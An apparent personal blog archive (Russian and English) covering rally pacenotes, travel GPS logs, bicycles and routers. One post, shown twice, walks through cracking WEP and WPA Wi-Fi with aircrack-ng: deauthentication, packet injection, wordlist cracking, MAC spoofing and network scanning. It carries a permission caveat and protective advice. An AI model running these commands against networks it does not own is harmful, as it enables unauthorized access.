Awesome!
Showing posts with label fun. Show all posts
Showing posts with label fun. Show all posts
Sunday, April 1, 2012
Friday, October 7, 2011
Sunday, October 2, 2011
Gavnø
Наклейки из http://www.artlebedev.ru/everything/a-govno/
Gavnø Slot
Wednesday, September 21, 2011
Pace notes explained
Playing recently in Colin McRae: Dirt 2 and Dirt 3 I was curios about co-pilot commands.
After a small research I found that this is what called Pacenotes. It's coded language for drivers and their co-pilots for describing a route in extreme details. It can look like hieroglyphics "MC1 100 KL2 100 KR2 200 SQL" but it is a lot of information coded here.
Simple calls:For turns naming, there is colored map
Easy left/right: An easy, usually flat out corner.
Medium left/right: A tighter corner, a tap of the brake usually needed.
Hard left/right: A tight corner with a lot of brake needed.
Hairpin left/right: A very tight corner that turns in on itself, often turning 180 to go back alongside the road you entered the corner on. For these its best to brake hard before tapping the hand brake to slide to the exit.
90 left/right: A tight, right angled corner
Technical calls:
1 left/right: A very tight corner, almost a hairpin.
6 left/right: A very easy, almost imperceptible corner.
Hairpin is the same.
Some nice videos
Other links
What do the co-driver calls mean in Dirt 2?
WRC - Team talk: Pace notes explained
Co-driver language for calling turns?
Jemba Inertia Notes System
Sunday, September 18, 2011
Went out for barbecue and
Monday, September 12, 2011
Wednesday, February 2, 2011
GPS Тель Авив (Израиль) - Братск (Россия)
Давно хотел выложить супер точный маршрут из Израиля до дома, родного Братска, которым мы летели осенью 2010 года. Мы искали оптимальное соотношение цена/качество/время. Составили маршрут сами, без агентств (как выяснилось, не все агенства умеют составлять оптимальные пути). Очень помог сервис Яндекс.Расписания.
Маршрут "туда" был таков:
1. Рейс Transaero UN 0302: Тель Авив (Бен Гурион, TLV) - Москва (Домодедово, DMO)
2. Рейс Transaero UN 0157: Москва (Домодедово, DMO) - Красноярск (Емельяново, KJA)
3. Поезд РЖД 348Ы, Красноярск - Северобайкальск: Красноярск (Пассажирский) - Братск (Падунские Пороги)
Маршрут "обратно" - всё наоборот:
1. Поезд РЖД 091И, Северобайкальск - Москва: Братск (Падунские Пороги) - Красноярск (Пассажирский)
2. Рейс Transaero UN 0158: Красноярск (Емельяново, KJA) - Москва (Домодедово, DMO)
3. Рейс Transaero UN 0301: Москва (Домодедово, DMO) - Тель Авив (Бен Гурион, TLV)
Ещё до поездки я задумал взять в дорогу GPS, чтобы потом поглядеть на точные маршруты самолётов и поездов. Можно при помощи замечательного сервис GPS Visualizer на основе исходных данных увидеть графики скоростей, высоты и всего другого.
В файлах есть несколько косяков (там где точки соединены прямой линией) - это когда в поезде я уснул и забыл поменять батарейки или в самолёте с Красноярска до Москвы часто пропадал сигнал или у меня рука уставала держать GPS :-)
Для затравки
График скорости самолёта из Тель Авива в Москву
График высоты этого же самолёта
Прикреплённые файлы и интересные факты:
1. Файл данных рейса Transaero UN 0302: Тель Авив - Москва
Самолёт: Boeing 737-800
Средняя скорость (включая стоянки): 712 км/ч
2. Файл данных рейса Transaero UN 0158: Красноярск - Москва
Самолёт: Boeing 737-300
Средняя скорость (включая стоянки): 659 км/ч
3. Файл данных поезда РЖД 348Ы, Красноярск - Северобайкальск: Красноярск - Братск
Средняя скорость (включая стоянки): 47 км/ч
4. Вышеперечисленные маршруты для импорта в Google Earth
Маршрут "туда" был таков:
1. Рейс Transaero UN 0302: Тель Авив (Бен Гурион, TLV) - Москва (Домодедово, DMO)
2. Рейс Transaero UN 0157: Москва (Домодедово, DMO) - Красноярск (Емельяново, KJA)
3. Поезд РЖД 348Ы, Красноярск - Северобайкальск: Красноярск (Пассажирский) - Братск (Падунские Пороги)
Маршрут "обратно" - всё наоборот:
1. Поезд РЖД 091И, Северобайкальск - Москва: Братск (Падунские Пороги) - Красноярск (Пассажирский)
2. Рейс Transaero UN 0158: Красноярск (Емельяново, KJA) - Москва (Домодедово, DMO)
3. Рейс Transaero UN 0301: Москва (Домодедово, DMO) - Тель Авив (Бен Гурион, TLV)
Ещё до поездки я задумал взять в дорогу GPS, чтобы потом поглядеть на точные маршруты самолётов и поездов. Можно при помощи замечательного сервис GPS Visualizer на основе исходных данных увидеть графики скоростей, высоты и всего другого.
В файлах есть несколько косяков (там где точки соединены прямой линией) - это когда в поезде я уснул и забыл поменять батарейки или в самолёте с Красноярска до Москвы часто пропадал сигнал или у меня рука уставала держать GPS :-)
Для затравки
График скорости самолёта из Тель Авива в Москву
График высоты этого же самолёта
Прикреплённые файлы и интересные факты:
1. Файл данных рейса Transaero UN 0302: Тель Авив - Москва
Самолёт: Boeing 737-800
Средняя скорость (включая стоянки): 712 км/ч
Средняя скорость движения: 746 км/ч
Максимальная скорость: 907 км/ч
Общее время: 3 часа 56 минут 3 секунды
Время в движении: 3 часа 45 минут 18 секунд
Время простоя: 10 минут 45 секунд
Дистанция: 2 801 метр
Минимальная высота (над уровнем моря): -31 метр
Максимальная высота: 11 598 метров
Самолёт: Boeing 737-300
Средняя скорость (включая стоянки): 659 км/ч
Средняя скорость движения: 677 км/ч
Максимальная скорость: 787 км/ч
Общее время: 5 часов 3 минуты 58 секунд
Время в движении: 4 часа 55 минут 47 секунд
Время простоя: 8 минут 11 секунд
Дистанция: 3 340 метров
Минимальная высота (над уровнем моря): 142 метров
Максимальная высота: 9 645 метров
Средняя скорость (включая стоянки): 47 км/ч
Средняя скорость движения: 61 км/ч
Максимальная скорость: 102 км/ч
Общее время: 11 часов 28 минут 49 секунд (должно быть 17 часов 5 минут - проспал батарейки)
Время в движении: 8 часов 50 минут 2 секунды
Время простоя: 2 часа 38 минут 47 секунд
Дистанция: 535 метров (должно быть примерно 664 км)
Минимальная высота (над уровнем моря): 82 метра
Максимальная высота: 557 метров
Wednesday, June 23, 2010
Wednesday, March 24, 2010
Sunday, October 25, 2009
How to protect your wireless home network
To understand that, we will learn how actually to break them first ;-)
apt-get install nmap macchanger
You will need to install aircrack-ng and adapter drivers from sources to get lastest version.
I got Edimax EW-7318USg for ~$30 as recomended devices.
Shortcuts I will use in aircrack-ng suite.
AP-MAC - MAC address of access point (AP), examples:
AP-CH - channel AP is working on, ex: 11
AP-NAM - wireless network name, ex: teddy
MY-MAC - MAC address of your adapter, ex: 001f1f3676fc
CL-MAC - MAC address of client already assosiated with AP (will need for DeAuth attack), ex: 012345abcdef
Interface I will use rausb0.
Simple WEP Crack
Put the card to monitor mode
airmon-ng stop rausb0
airmon-ng start rausb0
And let's start scan
airodump-ng rausb0
Get target network and try if we can inject packets
aireplay-ng -9 -e AP-NAM -a AP-MAC rausb0
test on all rates
aireplay-ng -9 -e AP-NAM -a AP-MAC -B rausb0
Start capturing IVs for target network to files
airodump-ng -c AP-CH --bssid AP-MAC -w output rausb0
Fake authentication with the access point otherwise it will deny our packets
aireplay-ng -1 0 -e AP-NAM -a AP-MAC -h MY-MAC rausb0
aireplay-ng -1 6000 -o 1 -q 10 -e AP-NAM -a AP-MAC -h MY-MAC rausb0
Start aireplay in ARP request replay mode
aireplay-ng -3 -b AP-MAC -h MY-MAC rausb0
Or replay packets from a wireless client
aireplay-ng -2 -a AP-MAC -d ffffffffffff -m 68 -n 68 -t 1 -f 0 rausb0
Or access point to rebroadcast the packet
aireplay-ng -2 -p 0841 -b AP-MAC -c ffffffffffff -h MY-MAC rausb0
ARP packets are typically either 68 (from a wireless client) or 86 (from a wired client) bytes
aireplay-ng -2 -p 0841 -m 68 -n 86 -b AP-MAC -c ffffffffffff -h MY-MAC rausb0
Or aireplay can be used to replay packets from a pcap file
aireplay-ng -2 -p 0841 -b AP-MAC -h MY-MAC -r replay_src-0303-124624.cap rausb0
aireplay-ng -2 -p 0841 -b AP-MAC -c ffffffffffff -h MY-MAC -r some-capture.cap rausb0
Or use ready-to-send packet
aireplay-ng -2 -r arp-request rausb0
When you got from 40K to 80K data packets, we can try to crack the password
aircrack-ng -b AP-MAC output*.cap - PTW method
aircrack-ng -z -b AP-MAC output*.cap - FMS/KoreK method
When no wireless clients exists
Fragmenation attack to obtain PRGA
aireplay-ng -5 -b AP-MAC -h MY-MAC rausb0
Chopchop attack to obtain PRGA
aireplay-ng -4 -b AP-MAC -h MY-MAC rausb0
You will get some "fragment-0203-180343.xor" file for the next step.
Use packetforge-ng to create an arp packet
packetforge-ng -0 -a AP-MAC -h MY-MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request
You can inspect created packet
tcpdump -n -vvv -e -s0 -r arp-request
Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct
airdecap-ng -e AP-NAM -w arp-request
View the decrypted packet
tcpdump -n -r arp-request-dec
How to Crack WPA/WPA2
The only way is to capture 4-way authentication handshake
Connected client deauth once
aireplay-ng -0 1 -a AP-MAC -c CL-MAC rausb0
or 3 times (to be sure ;-)
aireplay-ng -0 10 -a AP-MAC -c CL-MAC rausb0
For cracking, you will need good wordlists
aircrack-ng -w password.lst,another.lst -b AP-MAC wpa*.cap
Other useful stuff
MAC address change - manual way
ifdown rausb0
ifconfig rausb0 hw ether 00:11:22:33:44:55
ifup rausb0
But better with
macchanger --mac 00:11:22:33:44:55
Set bitrate
iwconfig rausb0 rate 54M
iwconfig rausb0 rate 11M
Scan network for devices
nmap -sP 10.0.0.1-255
Scan services on specific device
nmap 10.0.0.16
nmap -NP 10.0.0.16
Windows information and shares (if open)
smbclient -L \\10.0.0.16
smbclient -L \\10.0.0.16 -U Guest -W workgroup
Kernel modules control
lsmod | grep 73
modprobe rt73
Trace packets by
tcpdump -n -vvv -s0 -e -i | grep -i -E ”(RA:|Authentication|ssoc)”
Gnome NetworkManager (sometimes better to stop it during attacks)
/etc/init.d/NetworkManager start|stop|restart
nm-tool --list
tail -f /var/log/daemon.log | grep NetworkManager
Links
aircrac-ng tutorials and faq
Latest nmap
So, to protect your wireless network, don't use WEP, use WPA/WPA2 with long and complicated password, MAC-filtering will only pause hacker for a while (till he can see one of authenticated clients MACs), hiding SSID doesn't help at all.
UPD: Good news there from aircrack team:
updated Slitaz aircrack distribution (Aircrack-ng 1.0 final including sqlite airolib-ng support, patched drivers, etc)
WPA Cracker - cloud cracking service
It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.I will use Ubuntu (Gnome desktop) under root account with some non-default tools
apt-get install nmap macchanger
You will need to install aircrack-ng and adapter drivers from sources to get lastest version.
I got Edimax EW-7318USg for ~$30 as recomended devices.
Shortcuts I will use in aircrack-ng suite.
AP-MAC - MAC address of access point (AP), examples:
AP-CH - channel AP is working on, ex: 11
AP-NAM - wireless network name, ex: teddy
MY-MAC - MAC address of your adapter, ex: 001f1f3676fc
CL-MAC - MAC address of client already assosiated with AP (will need for DeAuth attack), ex: 012345abcdef
Interface I will use rausb0.
Simple WEP Crack
Put the card to monitor mode
airmon-ng stop rausb0
airmon-ng start rausb0
And let's start scan
airodump-ng rausb0
Get target network and try if we can inject packets
aireplay-ng -9 -e AP-NAM -a AP-MAC rausb0
test on all rates
aireplay-ng -9 -e AP-NAM -a AP-MAC -B rausb0
Start capturing IVs for target network to files
airodump-ng -c AP-CH --bssid AP-MAC -w output rausb0
Fake authentication with the access point otherwise it will deny our packets
aireplay-ng -1 0 -e AP-NAM -a AP-MAC -h MY-MAC rausb0
aireplay-ng -1 6000 -o 1 -q 10 -e AP-NAM -a AP-MAC -h MY-MAC rausb0
Start aireplay in ARP request replay mode
aireplay-ng -3 -b AP-MAC -h MY-MAC rausb0
Or replay packets from a wireless client
aireplay-ng -2 -a AP-MAC -d ffffffffffff -m 68 -n 68 -t 1 -f 0 rausb0
Or access point to rebroadcast the packet
aireplay-ng -2 -p 0841 -b AP-MAC -c ffffffffffff -h MY-MAC rausb0
ARP packets are typically either 68 (from a wireless client) or 86 (from a wired client) bytes
aireplay-ng -2 -p 0841 -m 68 -n 86 -b AP-MAC -c ffffffffffff -h MY-MAC rausb0
Or aireplay can be used to replay packets from a pcap file
aireplay-ng -2 -p 0841 -b AP-MAC -h MY-MAC -r replay_src-0303-124624.cap rausb0
aireplay-ng -2 -p 0841 -b AP-MAC -c ffffffffffff -h MY-MAC -r some-capture.cap rausb0
Or use ready-to-send packet
aireplay-ng -2 -r arp-request rausb0
When you got from 40K to 80K data packets, we can try to crack the password
aircrack-ng -b AP-MAC output*.cap - PTW method
aircrack-ng -z -b AP-MAC output*.cap - FMS/KoreK method
When no wireless clients exists
Fragmenation attack to obtain PRGA
aireplay-ng -5 -b AP-MAC -h MY-MAC rausb0
Chopchop attack to obtain PRGA
aireplay-ng -4 -b AP-MAC -h MY-MAC rausb0
You will get some "fragment-0203-180343.xor" file for the next step.
Use packetforge-ng to create an arp packet
packetforge-ng -0 -a AP-MAC -h MY-MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-0203-180343.xor -w arp-request
You can inspect created packet
tcpdump -n -vvv -e -s0 -r arp-request
Since you are testing against your own AP (you are, right?), then decrypt the packet and ensure it is correct
airdecap-ng -e AP-NAM -w
View the decrypted packet
tcpdump -n -r arp-request-dec
How to Crack WPA/WPA2
The only way is to capture 4-way authentication handshake
Connected client deauth once
aireplay-ng -0 1 -a AP-MAC -c CL-MAC rausb0
or 3 times (to be sure ;-)
aireplay-ng -0 10 -a AP-MAC -c CL-MAC rausb0
For cracking, you will need good wordlists
aircrack-ng -w password.lst,another.lst -b AP-MAC wpa*.cap
Other useful stuff
MAC address change - manual way
ifdown rausb0
ifconfig rausb0 hw ether 00:11:22:33:44:55
ifup rausb0
But better with
macchanger --mac 00:11:22:33:44:55
Set bitrate
iwconfig rausb0 rate 54M
iwconfig rausb0 rate 11M
Scan network for devices
nmap -sP 10.0.0.1-255
Scan services on specific device
nmap 10.0.0.16
nmap -NP 10.0.0.16
Windows information and shares (if open)
smbclient -L \\10.0.0.16
smbclient -L \\10.0.0.16 -U Guest -W workgroup
Kernel modules control
lsmod | grep 73
modprobe rt73
Trace packets by
tcpdump -n -vvv -s0 -e -i
Gnome NetworkManager (sometimes better to stop it during attacks)
/etc/init.d/NetworkManager start|stop|restart
nm-tool --list
tail -f /var/log/daemon.log | grep NetworkManager
Links
aircrac-ng tutorials and faq
Latest nmap
So, to protect your wireless network, don't use WEP, use WPA/WPA2 with long and complicated password, MAC-filtering will only pause hacker for a while (till he can see one of authenticated clients MACs), hiding SSID doesn't help at all.
UPD: Good news there from aircrack team:
updated Slitaz aircrack distribution (Aircrack-ng 1.0 final including sqlite airolib-ng support, patched drivers, etc)
WPA Cracker - cloud cracking service
Friday, July 10, 2009
Ищу звонок для велика
Хочу типа клаксона что-нибудь. Не знаю где найти в Израиле :-(
Наткнулся на прикольную коллекцию велосипедных звонков, супер прикольные штуки. Пока нету велика, ты замечаешь, что дизайн есть даже в таких простых вещах.
Наткнулся на прикольную коллекцию велосипедных звонков, супер прикольные штуки. Пока нету велика, ты замечаешь, что дизайн есть даже в таких простых вещах.
Sunday, June 28, 2009
Dahon Speed D7
Давно хотел велосипед... Как приехал в Израиль в 2004 году, так и стал хотеть.
Вяло так, осторожно, но хотел.
В общем :-), на прошлой неделе зашёл случайно в веломагазин Trek в Нетании и тут я и решился наконец.
Причём, если раньше я мечтал о горном велике, чтобы с кем-нибудь кататься, то тут я увидел городские складные велосипеды Dahon. У меня, кстати, в детстве был Салют-С между прочим.
(на фотке не я)
Было всего 4 модели: Eco 3, Speed D7, Vitesse D7 и (вроде) Mu P8.
Покрутился, пощупал и ушёл.
Вернулся в пятницу, чтобы купить. Просто захотелось (и деньги были). Выбрал Speed D7, но он был последний на витрине, а мне хотелось самому достать это чудо из коробки. Договорились, что в воскресенье они привезут новенький специально для меня.
Немного технических данных:
7 скоростей
вес 12.5 киллограм
время сборки/разборки - 15 секунд
рама - сверхлегкий сплав хрома и молибдена
отлично влезает в багажник, и ещё остаётся куча места
можно в автобус заносить (в электричку)
В полной боевой готовности
В собранном виде
Сегодня после работы забрал свою новую игрушку. Очень доволен.
Надумал (пока ждал его) варианты использования:
Дорога до работы - пешком 30 минут, а на велике - завтра проверю :)
Езда по городу, когда в лом заводить машину, а хочется подвигаться.
Поездки в Тель Авив - машину теперь можно парковать где-нить бесплатно во дворах и педалить, педалить
Можно деду моему давать ездить на работу, когда пешком тяжело.
Одни профиты ок
Сборка и разборка этого красавца:
Российский сайт Даона (не использовал в тексте ввиду не полного содержания и кривого перевода контента).
(з.ы. на картинке Speed P8, а не Speed D7, потому что не нашёл красного)
Вяло так, осторожно, но хотел.
В общем :-), на прошлой неделе зашёл случайно в веломагазин Trek в Нетании и тут я и решился наконец.
Причём, если раньше я мечтал о горном велике, чтобы с кем-нибудь кататься, то тут я увидел городские складные велосипеды Dahon. У меня, кстати, в детстве был Салют-С между прочим.
(на фотке не я)
Было всего 4 модели: Eco 3, Speed D7, Vitesse D7 и (вроде) Mu P8.
Покрутился, пощупал и ушёл.
Вернулся в пятницу, чтобы купить. Просто захотелось (и деньги были). Выбрал Speed D7, но он был последний на витрине, а мне хотелось самому достать это чудо из коробки. Договорились, что в воскресенье они привезут новенький специально для меня.
Немного технических данных:
7 скоростей
вес 12.5 киллограм
время сборки/разборки - 15 секунд
рама - сверхлегкий сплав хрома и молибдена
отлично влезает в багажник, и ещё остаётся куча места
можно в автобус заносить (в электричку)
В полной боевой готовности
В собранном виде
Сегодня после работы забрал свою новую игрушку. Очень доволен.
Надумал (пока ждал его) варианты использования:
Дорога до работы - пешком 30 минут, а на велике - завтра проверю :)
Езда по городу, когда в лом заводить машину, а хочется подвигаться.
Поездки в Тель Авив - машину теперь можно парковать где-нить бесплатно во дворах и педалить, педалить
Можно деду моему давать ездить на работу, когда пешком тяжело.
Одни профиты ок
Сборка и разборка этого красавца:
Российский сайт Даона (не использовал в тексте ввиду не полного содержания и кривого перевода контента).
(з.ы. на картинке Speed P8, а не Speed D7, потому что не нашёл красного)
Saturday, May 16, 2009
Sunday, May 3, 2009
Wednesday, April 15, 2009
IE6 is dead, baby, IE6 is dead!
Very funny «Pulp Fiction»-style about IE6 — Pulp Browsers.
And to continue, from Habrahabr:
— Whose box is this?
— It's a border-radius, baby
— Whose border-radius is this?
— It's IE6's
— Who is IE6?
— IE6 is dead, baby, IE6 is dead!
And to continue, from Habrahabr:
— Whose box is this?
— It's a border-radius, baby
— Whose border-radius is this?
— It's IE6's
— Who is IE6?
— IE6 is dead, baby, IE6 is dead!
Monday, April 13, 2009
Shorashim group - Passover 2009
We've had fun with Shorashim group (on hebrew) on April 6th last week. Cisco Systems (Israel) was helping to this volunteering organization to deliver «food boxes» this year on Passover. Over 800 were happy to get it. We too ;-)
Pictures:
My (crapy) photos
Flickr stream (primarily by Giora P.)
From Picasa by Tsur Richter-Levin
Pictures:
My (crapy) photos
Flickr stream (primarily by Giora P.)
From Picasa by Tsur Richter-Levin
Wednesday, March 11, 2009
Wednesday, January 28, 2009
Linksys WRVS4400N
Хаха… Что-то меня пробило на роутеры. Ну а так как я работаю в Cisco Systems, то попадаются мне только Linksys'ы ;-) С другими я не имел такого тесного общения.
Итак, встречаем — Linksys WRVS4400N.
Очень интересная начинка (кратко):
Первый процессор STAR 9109 загружает линукс, имеет доступ в 32 МБ памяти, управляет Marvell WLAN чипсетом, гоняет hostapd и управляет шифрованием. Соединён с основным через гигабитный мост. Основной ЦПУ STAR 9202 подсоединён к Vitesse VSC7385 (SparX G5), который управляет гигабитным свичем. Главный проц может оперировать 64 МБ памяти и 8 МБ флеша. Самое интересное, каждый проц работает со своей операционной системой, то есть, там два линукса одновременно, и общаются они через гигабитный канал.
Меня интересовало — будет ли на нём работать мои уже любимые прошивки DD-WRT или Tomato. Ответ отрицательный. Пока никто не поддерживает эту железку, кроме индусов, которые пишут родную глючную прошивку.
Материал по теме:
Документы, которые смог найти в сети одним архивом (7.5 МБ), внутри:
Жаль :-(, выглядит так аппетитно. Попытаюсь на выходных покапать в сторону самостоятельного сбора образа для роутеров. Чо-то мне вдруг интересно стало.
Судя по отзывам, его лучше использовать как внутренний свич, то есть внешним поставить WRT54GL с «нормальной прошивкой», а внутри этот с отключенным IPS.
Итак, встречаем — Linksys WRVS4400N.
Очень интересная начинка (кратко):
- 4 гигабитный порта
- Wireless N-draft
- VPN и QoS
- 2 процессора, 64 МБ оперативной памяти, 8 МБ флеш-памяти
Первый процессор STAR 9109 загружает линукс, имеет доступ в 32 МБ памяти, управляет Marvell WLAN чипсетом, гоняет hostapd и управляет шифрованием. Соединён с основным через гигабитный мост. Основной ЦПУ STAR 9202 подсоединён к Vitesse VSC7385 (SparX G5), который управляет гигабитным свичем. Главный проц может оперировать 64 МБ памяти и 8 МБ флеша. Самое интересное, каждый проц работает со своей операционной системой, то есть, там два линукса одновременно, и общаются они через гигабитный канал.
Меня интересовало — будет ли на нём работать мои уже любимые прошивки DD-WRT или Tomato. Ответ отрицательный. Пока никто не поддерживает эту железку, кроме индусов, которые пишут родную глючную прошивку.
Материал по теме:
- OperWRT Support for WRVS4400N?
- Resolve a Blinking Power or Diag LED on a Linksys Wireless-N Gigabit Security Router with VPN Secure
- Would you like to have support of DD-WRT for WRVS 4400N
- Hacking the WRVS4400NX Stock Firmware V1.1.03 for Full Linux Shell Access
- HOWTO - Hacking the WRVS4400N Dual-CPU Router
- Linksys FTP
- Обзор роутера Linksys WRVS4400N на Xakep.ru
Документы, которые смог найти в сети одним архивом (7.5 МБ), внутри:
- фотки внутренностей
- user guide v2 (6.5 МБ) или на сайте сиско
- data sheat
Жаль :-(, выглядит так аппетитно. Попытаюсь на выходных покапать в сторону самостоятельного сбора образа для роутеров. Чо-то мне вдруг интересно стало.
Судя по отзывам, его лучше использовать как внутренний свич, то есть внешним поставить WRT54GL с «нормальной прошивкой», а внутри этот с отключенным IPS.
Thursday, October 9, 2008
Электроника ИМ-11 Луноход
Случайно наткнулся в интернете на свою любимую детскую игрушку.
И только сейчас, по прошествии 10-15 лет я узнал, что на самом деле это… клон. А я-то думал, что это чудо советских инженеров. Прототип — Big Trak, у них даже сайт есть.
А ещё, оказывается, к нему можно было прицеп подцеплять. Я всё думал, зачем у него там люк такой маленький над клавиатурой есть. Прицепа у меня не было, к сожалению.
Записи о нём (ней) в интернете:
Я тут подумал, наверное, она очень повлияла на то, что я стал программистом :-)
И только сейчас, по прошествии 10-15 лет я узнал, что на самом деле это… клон. А я-то думал, что это чудо советских инженеров. Прототип — Big Trak, у них даже сайт есть.
А ещё, оказывается, к нему можно было прицеп подцеплять. Я всё думал, зачем у него там люк такой маленький над клавиатурой есть. Прицепа у меня не было, к сожалению.
Записи о нём (ней) в интернете:
Я тут подумал, наверное, она очень повлияла на то, что я стал программистом :-)
Monday, October 6, 2008
Subscribe to:
Posts (Atom)
